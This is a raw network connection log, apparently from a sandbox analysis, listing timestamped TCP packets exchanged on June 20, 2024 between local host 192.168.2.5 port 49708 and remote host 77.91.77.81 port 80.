Jun 20, 2024 15:38:10.299164057 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299185038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299196959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299207926 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299231052 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299248934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299266100 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299280882 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299304962 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299318075 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299355030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299494028 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299551010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299551964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299585104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299604893 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299621105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299628019 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299654961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299684048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299704075 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299705982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299741030 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.299760103 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.299782991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.326364994 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326390982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326416016 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326431990 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326448917 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326464891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326482058 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.326528072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.326581001 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352123022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352158070 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352173090 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352248907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352264881 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352278948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352282047 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352299929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352318048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352319002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352318048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352346897 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352359056 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352365971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352400064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352421045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352436066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352452040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352467060 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352474928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352511883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352513075 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352560043 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352602005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352617979 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352636099 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352639914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352652073 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352658033 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352679968 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352699041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352730989 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352787018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352827072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352844954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352860928 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.352885962 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352916956 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.352916956 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384143114 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384159088 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384176016 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384236097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384274960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384309053 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384325027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384341002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384355068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384370089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384373903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384387016 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384412050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384412050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384412050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384412050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384465933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384490967 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384505033 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384506941 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384526014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384540081 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384555101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384607077 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384607077 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384645939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384663105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384679079 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384701014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384749889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384812117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384825945 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384849072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384860992 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384865999 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.384881020 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384907007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.384907007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385006905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385023117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385040045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385054111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385061026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385070086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385081053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385099888 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385129929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385145903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385162115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385200024 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385200024 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385325909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385340929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385358095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385373116 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385375977 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385390043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385401964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385401964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385427952 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385427952 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385488033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385503054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.385545969 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385545969 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.385979891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386033058 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386101007 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386117935 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386157990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386157990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386301041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386315107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386329889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386344910 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386358023 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386358023 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386360884 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386387110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386387110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386419058 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386455059 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386470079 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386486053 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386501074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386512041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386512041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386518002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386539936 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386540890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386559963 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386643887 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386667967 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386682987 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386697054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386712074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386714935 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386750937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386751890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386814117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386830091 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.386867046 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.386903048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387007952 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387058020 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387067080 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387083054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387099028 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387114048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387130022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387137890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387137890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387137890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387172937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387172937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387409925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387425900 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387440920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387455940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387461901 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387471914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387489080 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387489080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387490034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387510061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387533903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387533903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387593985 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387645960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387684107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387698889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387713909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387732029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387764931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387764931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387764931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387820005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387835979 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387850046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.387871981 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.387903929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388003111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388019085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388055086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388087034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388143063 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388159037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388174057 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388190985 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388196945 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388231993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388231993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388314009 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388329983 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388364077 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388382912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388674974 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388690948 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388706923 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.388746977 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.388746977 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.413398027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.413415909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.413485050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.413585901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.413642883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.414042950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.414096117 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.414098978 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.414128065 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.414144039 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.414151907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.414160013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.414199114 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.414199114 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.414200068 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440227032 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440244913 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440259933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440330029 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440383911 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440392971 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440409899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440424919 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440439939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440455914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440455914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440509081 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440509081 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440545082 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440561056 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440576077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440592051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440602064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440623045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440623045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440654039 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440699100 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440722942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440737963 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440749884 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440782070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440782070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440926075 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440939903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440954924 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440970898 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.440984964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.440985918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441035032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441035032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441039085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.441055059 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.441073895 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.441087961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.441127062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441127062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441127062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441127062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.441287994 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.441339970 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.469788074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469804049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469820023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469849110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469852924 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.469862938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469877005 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.469882011 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469897032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.469899893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.469913960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.469937086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470109940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470127106 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470141888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470164061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470182896 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470254898 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470298052 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470381021 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470396996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470411062 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470427036 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470427036 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470436096 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470441103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470453978 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470459938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470463037 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470479012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470485926 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470495939 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470500946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470518112 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470531940 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470532894 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470555067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470555067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470568895 CEST	49708	80	192.168.2.5	77.91.77.81
